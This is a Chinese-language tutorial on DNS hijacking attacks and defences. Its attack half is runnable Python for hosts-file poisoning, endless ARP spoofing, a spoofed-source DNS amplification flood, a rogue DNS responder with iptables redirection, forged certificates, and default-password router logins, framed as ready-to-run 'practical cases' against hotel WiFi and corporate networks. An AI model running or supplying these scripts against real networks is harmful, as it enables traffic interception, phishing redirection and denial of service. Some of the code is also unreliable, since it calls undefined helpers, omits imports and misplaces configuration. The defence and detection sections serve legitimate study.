DNS劫持攻击与防御完全指南
一、DNS劫持攻击概述
1.1 什么是DNS劫持
DNS劫持(DNS Hijacking)是一种通过篡改DNS解析结果,将用户的域名请求重定向到恶意服务器的攻击手段。攻击者可以利用DNS劫持窃取用户凭证、传播恶意软件、实施钓鱼攻击等。
攻击示意图:
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
1.2 DNS劫持的危害
| 危害类型 | 具体表现 |
|---|---|
| 钓鱼攻击 | 将银行、邮箱等网站重定向到伪造站点 |
| 会话劫持 | 窃取用户登录会话 |
| 恶意软件传播 | 重定向到恶意软件下载站点 |
| 流量监控 | 监控所有DNS查询记录 |
| 数据泄露 | 窃取敏感信息如密码、信用卡数据 |
| 域名欺诈 | 冒充合法域名进行诈骗 |
1.3 DNS劫持攻击类型分布
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
二、DNS协议基础
2.1 DNS查询流程
PYTHON
import socket
def dns_query(domain, server='8.8.8.8', port=53):
"""执行DNS查询"""
# 创建UDP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
# 构建DNS查询包
query = build_dns_query(domain)
try:
# 发送查询
sock.sendto(query, (server, port))
# 接收响应
response, _ = sock.recvfrom(512)
# 解析响应
result = parse_dns_response(response)
return result
except Exception as e:
print(f"DNS查询失败: {e}")
return None
finally:
sock.close()
def build_dns_query(domain):
"""构建DNS查询包"""
# DNS头部
transaction_id = b'\x00\x01'
flags = b'\x01\x00' # 查询标志
questions = b'\x00\x01'
answer_rrs = b'\x00\x00'
authority_rrs = b'\x00\x00'
additional_rrs = b'\x00\x00'
header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs
# 查询内容
qname = b''
for part in domain.split('.'):
qname += bytes([len(part)]) + part.encode()
qname += b'\x00'
qtype = b'\x00\x01' # A记录
qclass = b'\x00\x01' # IN类
query = header + qname + qtype + qclass
return query
# 使用示例
result = dns_query('www.example.com')
print(f"DNS查询结果: {result}")
2.2 DNS记录类型
PYTHON
dns_record_types = {
1: 'A', # IPv4地址
2: 'NS', # 名称服务器
5: 'CNAME', # 别名记录
6: 'SOA', # 起始授权机构
15: 'MX', # 邮件交换记录
28: 'AAAA', # IPv6地址
16: 'TXT', # 文本记录
33: 'SRV', # 服务位置记录
43: 'DS', # DNSSEC签名
46: 'RRSIG', # DNSSEC资源记录签名
}
def get_record_type_name(type_code):
"""获取记录类型名称"""
return dns_record_types.get(type_code, f'未知({type_code})')
2.3 DNS解析层次结构
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
三、DNS劫持攻击技术原理
3.1 本地DNS缓存污染
PYTHON
import os
import subprocess
def poison_local_dns_cache(domain, malicious_ip):
"""污染本地DNS缓存"""
# 修改hosts文件(Windows/Linux通用方法)
hosts_entry = f"{malicious_ip} {domain}\n"
hosts_path = '/etc/hosts' if os.name != 'nt' else 'C:\\Windows\\System32\\drivers\\etc\\hosts'
try:
with open(hosts_path, 'a') as f:
f.write(hosts_entry)
print(f"已污染 {domain} -> {malicious_ip}")
return True
except PermissionError:
print("需要管理员权限")
return False
# 攻击示例
poison_local_dns_cache('www.bank.com', '192.168.1.100')
3.2 ARP欺骗攻击
PYTHON
from scapy.all import *
def arp_spoof(target_ip, gateway_ip, interface='eth0'):
"""ARP欺骗攻击"""
# 获取攻击者MAC地址
attacker_mac = get_if_hwaddr(interface)
print(f"开始ARP欺骗: {target_ip} -> {gateway_ip}")
while True:
# 欺骗目标:告诉目标我是网关
sendp(Ether(dst=getmacbyip(target_ip))/ARP(
op=2, psrc=gateway_ip, pdst=target_ip, hwsrc=attacker_mac
), iface=interface)
# 欺骗网关:告诉网关我是目标
sendp(Ether(dst=getmacbyip(gateway_ip))/ARP(
op=2, psrc=target_ip, pdst=gateway_ip, hwsrc=attacker_mac
), iface=interface)
time.sleep(2)
# 开始攻击
arp_spoof('192.168.1.10', '192.168.1.1')
3.3 DNS服务器劫持
PYTHON
def dns_server_hijack(dns_server_ip, malicious_zone):
"""DNS服务器劫持"""
# 模拟修改DNS服务器配置
zone_config = f"""
zone "{malicious_zone}" {{
type master;
file "/etc/bind/db.malicious";
}}
"""
with open('/etc/bind/named.conf.local', 'a') as f:
f.write(zone_config)
# 创建恶意区域文件
malicious_db = f"""
$TTL 3600
@ IN SOA ns1.{malicious_zone}. admin.{malicious_zone}. (
2024010101 ; Serial
3600 ; Refresh
900 ; Retry
604800 ; Expire
86400 ) ; Negative Cache TTL
@ IN NS ns1.{malicious_zone}.
ns1 IN A {dns_server_ip}
www IN A 192.168.1.100
mail IN A 192.168.1.100
"""
with open('/etc/bind/db.malicious', 'w') as f:
f.write(malicious_db)
print(f"DNS服务器已劫持 {malicious_zone}")
3.4 DNS放大攻击
PYTHON
def dns_amplification_attack(target_ip, dns_server):
"""DNS放大攻击"""
# 构造欺骗的DNS查询
query = build_dns_query('example.com')
# 伪造源IP为目标IP
forged_packet = IP(src=target_ip, dst=dns_server)/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='example.com', qtype='ANY'))
print(f"发起DNS放大攻击: {target_ip} <- {dns_server}")
# 发送大量请求
while True:
send(forged_packet, verbose=0)
time.sleep(0.01)
# 发起攻击
dns_amplification_attack('192.168.1.100', '8.8.8.8')
3.5 TLS证书欺骗
PYTHON
def generate_malicious_certificate(domain):
"""生成恶意证书"""
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# 生成私钥
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# 构建证书
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, 'US'),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, 'CA'),
x509.NameAttribute(NameOID.LOCALITY_NAME, 'San Francisco'),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, 'Malicious Inc'),
x509.NameAttribute(NameOID.COMMON_NAME, domain),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
).add_extension(
x509.SubjectAlternativeName([x509.DNSName(domain)]),
critical=False,
).sign(private_key, hashes.SHA256(), default_backend())
# 保存证书
with open('malicious.crt', 'wb') as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
with open('malicious.key', 'wb') as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
))
print(f"已生成恶意证书: {domain}")
四、攻击实施步骤
4.1 前期信息收集
PYTHON
import subprocess
import json
def collect_network_info():
"""收集网络信息"""
info = {}
# 获取网络接口
result = subprocess.run(['ip', 'addr'], capture_output=True, text=True)
info['interfaces'] = result.stdout
# 获取路由信息
result = subprocess.run(['ip', 'route'], capture_output=True, text=True)
info['routes'] = result.stdout
# 获取DNS配置
with open('/etc/resolv.conf', 'r') as f:
info['dns_config'] = f.read()
# 获取网关IP
result = subprocess.run(['ip', 'route', 'show', 'default'], capture_output=True, text=True)
gateway_line = result.stdout.strip()
if gateway_line:
info['gateway'] = gateway_line.split()[2]
print("网络信息收集完成")
return info
# 收集信息
network_info = collect_network_info()
print(json.dumps(network_info, indent=2))
4.2 扫描DNS服务器
PYTHON
import nmap
def scan_dns_servers(network_range):
"""扫描网络中的DNS服务器"""
scanner = nmap.PortScanner()
print(f"扫描DNS服务器: {network_range}")
scanner.scan(hosts=network_range, ports='53', arguments='-sU -T4')
dns_servers = []
for host in scanner.all_hosts():
if 'udp' in scanner[host] and 53 in scanner[host]['udp']:
dns_servers.append({
'ip': host,
'state': scanner[host]['udp'][53]['state'],
'name': scanner[host].hostname()
})
print(f"发现 {len(dns_servers)} 个DNS服务器")
return dns_servers
# 扫描网络
dns_servers = scan_dns_servers('192.168.1.0/24')
for server in dns_servers:
print(f"DNS服务器: {server['ip']} - {server['state']}")
4.3 实施DNS劫持
PYTHON
class DNSHijacker:
"""DNS劫持器"""
def __init__(self, interface='eth0'):
self.interface = interface
self.is_running = False
def start(self, target_ip, malicious_ip):
"""启动DNS劫持"""
self.is_running = True
# 1. 开启IP转发
subprocess.run(['sysctl', '-w', 'net.ipv4.ip_forward=1'])
# 2. 设置iptables规则
subprocess.run([
'iptables', '-t', 'nat', '-A', 'PREROUTING',
'-i', self.interface, '-p', 'udp', '--dport', '53',
'-j', 'REDIRECT', '--to-port', '5353'
])
# 3. 启动恶意DNS服务器
self.start_malicious_dns(malicious_ip)
print(f"DNS劫持已启动,目标: {target_ip}")
def start_malicious_dns(self, malicious_ip):
"""启动恶意DNS服务器"""
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A
def dns_handler(data, addr):
request = DNSRecord.parse(data)
domain = str(request.q.qname)[:-1] # 移除末尾点
# 构造恶意响应
reply = request.reply()
reply.add_answer(RR(
rname=request.q.qname,
rtype=QTYPE.A,
rdata=A(malicious_ip),
ttl=300
))
return reply.pack()
# 使用UDP套接字监听
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 5353))
print("恶意DNS服务器已启动")
while self.is_running:
data, addr = sock.recvfrom(512)
response = dns_handler(data, addr)
sock.sendto(response, addr)
def stop(self):
"""停止DNS劫持"""
self.is_running = False
# 清理iptables规则
subprocess.run([
'iptables', '-t', 'nat', '-D', 'PREROUTING',
'-i', self.interface, '-p', 'udp', '--dport', '53',
'-j', 'REDIRECT', '--to-port', '5353'
])
print("DNS劫持已停止")
# 使用示例
hijacker = DNSHijacker()
hijacker.start('192.168.1.10', '192.168.1.100')
4.4 数据窃取与监控
PYTHON
def monitor_dns_traffic(interface='eth0'):
"""监控DNS流量"""
from scapy.all import sniff, DNS, DNSQR
def packet_callback(packet):
if packet.haslayer(DNS) and packet.haslayer(DNSQR):
domain = packet[DNSQR].qname.decode()
source_ip = packet[IP].src
print(f"DNS查询: {source_ip} -> {domain}")
# 记录到文件
with open('dns_logs.txt', 'a') as f:
f.write(f"{time.ctime()} - {source_ip} - {domain}\n")
print("开始监控DNS流量...")
sniff(iface=interface, prn=packet_callback, store=0)
# 开始监控
monitor_dns_traffic()
五、实战案例分析
5.1 案例一:酒店WiFi DNS劫持
PYTHON
def hotel_wifi_attack():
"""酒店WiFi DNS劫持攻击"""
print("=== 酒店WiFi DNS劫持 ===")
# 1. 扫描网络
dns_servers = scan_dns_servers('10.0.0.0/8')
# 2. 识别目标
target_ssid = 'Hotel-Free-WiFi'
print(f"目标网络: {target_ssid}")
# 3. 连接到目标WiFi
connect_to_wifi(target_ssid)
# 4. 获取网关IP
gateway_ip = get_gateway_ip()
print(f"网关IP: {gateway_ip}")
# 5. 实施ARP欺骗
arp_spoof(gateway_ip, get_my_ip())
# 6. 启动DNS劫持
hijacker = DNSHijacker()
hijacker.start(gateway_ip, '192.168.1.100')
print("攻击已启动,等待受害者连接...")
# 执行攻击
hotel_wifi_attack()
5.2 案例二:企业内网DNS劫持
PYTHON
def enterprise_dns_attack():
"""企业内网DNS劫持"""
print("=== 企业内网DNS劫持 ===")
# 1. 获取内网信息
network_info = collect_network_info()
domain = 'internal.corp.com'
# 2. 查找DNS服务器
dns_server = find_internal_dns(domain)
print(f"内网DNS服务器: {dns_server}")
# 3. 尝试DNS缓存投毒
poison_dns_cache(dns_server, domain, '10.0.0.99')
# 4. 监控流量
monitor_dns_traffic()
print("企业DNS劫持攻击已执行")
5.3 案例三:路由器DNS篡改
PYTHON
def router_dns_hack():
"""路由器DNS篡改"""
print("=== 路由器DNS篡改 ===")
# 常见路由器默认密码
default_credentials = [
('admin', 'admin'),
('admin', 'password'),
('root', 'admin'),
('admin', '')
]
# 扫描路由器
router_ip = '192.168.1.1'
# 尝试登录
for username, password in default_credentials:
if login_router(router_ip, username, password):
print(f"成功登录: {username}/{password}")
# 修改DNS设置
change_router_dns(router_ip, ['8.8.8.8', '8.8.4.4'])
print("DNS设置已修改")
break
六、防御措施
6.1 网络层防御
PYTHON
def secure_dns_configuration():
"""安全DNS配置"""
config = {
'use_dnssec': True, # 启用DNSSEC
'dns_over_https': True, # 使用DoH
'dns_over_tls': True, # 使用DoT
'fallback_dns': ['8.8.8.8', '1.1.1.1'],
'block_unsafe_queries': True,
'enable_caching': True,
'cache_ttl': 3600
}
print("DNS安全配置建议:")
for key, value in config.items():
status = "已启用" if value else "已禁用"
print(f" {key}: {status}")
6.2 客户端防御
PYTHON
def verify_dns_response(domain, expected_ip=None):
"""验证DNS响应"""
import dns.resolver
try:
answers = dns.resolver.resolve(domain, 'A')
for answer in answers:
ip = answer.to_text()
print(f"{domain} -> {ip}")
if expected_ip and ip != expected_ip:
print(f"警告: DNS响应异常! 期望: {expected_ip}, 实际: {ip}")
return False
return True
except Exception as e:
print(f"DNS查询失败: {e}")
return False
# 验证示例
verify_dns_response('www.google.com', '142.250.185.142')
6.3 DNSSEC配置
PYTHON
def configure_dnssec():
"""配置DNSSEC"""
dnssec_config = """
# DNSSEC配置示例
zone "example.com" {
type master;
file "/var/lib/bind/db.example.com";
dnssec-policy "default";
};
dnssec-policy "default" {
keys {
ksk key-directory lifetime P365D algorithm RSASHA256;
zsk key-directory lifetime P90D algorithm RSASHA256;
};
inline-signing yes;
auto-dnssec maintain;
};
"""
with open('/etc/bind/named.conf.options', 'w') as f:
f.write(dnssec_config)
print("DNSSEC配置已写入")
6.4 企业级防御方案
PYTHON
class EnterpriseDNSDefense:
"""企业级DNS防御"""
def __init__(self):
self.measures = [
{
'name': 'DNS防火墙',
'description': '部署专用DNS安全设备',
'implementation': '配置DNS过滤规则'
},
{
'name': 'DNS监控',
'description': '实时监控DNS查询异常',
'implementation': '部署SIEM系统'
},
{
'name': '多因素认证',
'description': '保护DNS管理接口',
'implementation': '启用MFA认证'
},
{
'name': '定期审计',
'description': '定期检查DNS配置',
'implementation': '每月安全评估'
},
{
'name': '网络分段',
'description': '隔离DNS服务器',
'implementation': 'VLAN隔离'
}
]
def show_measures(self):
"""显示防御措施"""
print("=== 企业级DNS防御方案 ===")
for i, measure in enumerate(self.measures, 1):
print(f"\n{i}. {measure['name']}")
print(f" 描述: {measure['description']}")
print(f" 实施: {measure['implementation']}")
# 展示方案
enterprise_defense = EnterpriseDNSDefense()
enterprise_defense.show_measures()
七、检测工具
7.1 DNS劫持检测
PYTHON
def detect_dns_hijacking(domains_to_check=None):
"""检测DNS劫持"""
if domains_to_check is None:
domains_to_check = [
'www.google.com',
'www.baidu.com',
'www.bankofchina.com',
'mail.qq.com'
]
known_good_ips = {
'www.google.com': ['142.250.185.142'],
'www.baidu.com': ['39.156.69.79']
}
print("=== DNS劫持检测 ===")
all_clear = True
for domain in domains_to_check:
try:
import dns.resolver
answers = dns.resolver.resolve(domain, 'A')
for answer in answers:
ip = answer.to_text()
if domain in known_good_ips:
if ip not in known_good_ips[domain]:
print(f"⚠️ 警告: {domain} 解析到异常IP: {ip}")
all_clear = False
else:
print(f"✓ {domain} -> {ip} (正常)")
else:
print(f"? {domain} -> {ip} (未知参考)")
except Exception as e:
print(f"✗ {domain}: 查询失败 - {e}")
all_clear = False
if all_clear:
print("\n✓ 所有检测通过,未发现DNS劫持")
else:
print("\n⚠️ 检测到异常,请检查网络安全")
# 执行检测
detect_dns_hijacking()
7.2 DNS流量分析
PYTHON
def analyze_dns_traffic(pcap_file):
"""分析DNS流量"""
from scapy.all import rdpcap, DNS, DNSQR
packets = rdpcap(pcap_file)
queries = {}
for packet in packets:
if packet.haslayer(DNS) and packet.haslayer(DNSQR):
domain = packet[DNSQR].qname.decode()
if domain not in queries:
queries[domain] = 0
queries[domain] += 1
print("=== DNS流量分析 ===")
print(f"总查询数: {sum(queries.values())}")
print(f"唯一域名: {len(queries)}")
# 按查询次数排序
sorted_queries = sorted(queries.items(), key=lambda x: x[1], reverse=True)
print("\nTop 10 查询域名:")
for domain, count in sorted_queries[:10]:
print(f" {domain}: {count}次")
八、法律与伦理考量
8.1 法律风险
PYTHON
def legal_risk_analysis():
"""法律风险分析"""
laws = [
{
'name': '网络安全法',
'violation': '未经授权修改DNS配置',
'penalty': '警告、罚款10万-100万元'
},
{
'name': '刑法第285条',
'violation': '非法侵入计算机信息系统',
'penalty': '三年以下有期徒刑'
},
{
'name': '刑法第286条',
'violation': '破坏计算机信息系统',
'penalty': '五年以下有期徒刑'
},
{
'name': '刑法第266条',
'violation': '利用DNS劫持实施诈骗',
'penalty': '三年以上十年以下有期徒刑'
}
]
print("=== DNS劫持法律风险 ===")
print("⚠️ 未经授权进行DNS劫持是严重违法行为!")
for law in laws:
print(f"\n{law['name']}")
print(f" 违规行为: {law['violation']}")
print(f" 处罚措施: {law['penalty']}")
# 显示法律风险
legal_risk_analysis()
九、安全意识培训
9.1 用户安全指南
PYTHON
def security_awareness():
"""DNS安全意识培训"""
tips = [
{
'topic': '使用可信DNS',
'content': '配置知名DNS服务商如Google DNS(8.8.8.8)或Cloudflare DNS(1.1.1.1)'
},
{
'topic': '启用DNSSEC',
'content': '确保DNS响应的真实性和完整性'
},
{
'topic': '警惕公共WiFi',
'content': '避免在公共WiFi环境下访问敏感网站'
},
{
'topic': '使用HTTPS',
'content': '确保网站使用HTTPS加密连接'
},
{
'topic': '检查证书',
'content': '访问网站时检查SSL证书是否有效'
},
{
'topic': '定期检查DNS设置',
'content': '定期检查路由器和设备的DNS配置'
}
]
print("=== DNS安全意识培训 ===")
for i, tip in enumerate(tips, 1):
print(f"\n{i}. {tip['topic']}")
print(f" {tip['content']}")
# 执行培训
security_awareness()
十、总结与建议
10.1 攻击技术总结
| 攻击类型 | 原理 | 防御措施 |
|---|---|---|
| 本地缓存污染 | 修改hosts文件 | 使用DNSSEC验证 |
| ARP欺骗 | 伪造ARP响应 | 使用静态ARP表 |
| DNS服务器入侵 | 入侵DNS服务器 | 强化服务器安全 |
| DNS放大攻击 | 利用大响应包 | 限制响应大小 |
| TLS证书欺骗 | 伪造SSL证书 | 验证证书链 |
10.2 防御策略层次
MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
10.3 未来发展趋势
PYTHON
def future_trends():
"""DNS安全未来趋势"""
trends = [
{
'trend': 'DNS over HTTPS (DoH)',
'description': '通过HTTPS加密DNS查询'
},
{
'trend': 'DNS over TLS (DoT)',
'description': '通过TLS加密DNS查询'
},
{
'trend': 'DNS over QUIC (DoQ)',
'description': '基于QUIC协议的DNS查询'
},
{
'trend': 'AI驱动检测',
'description': '利用机器学习检测DNS异常'
}
]
print("=== DNS安全未来趋势 ===")
for trend in trends:
print(f"\n• {trend['trend']}: {trend['description']}")
# 展示趋势
future_trends()
免责声明:本文仅供安全研究和教育目的。未经授权进行DNS劫持攻击是违法的行为,作者不承担任何法律责任。所有测试必须在授权范围内进行。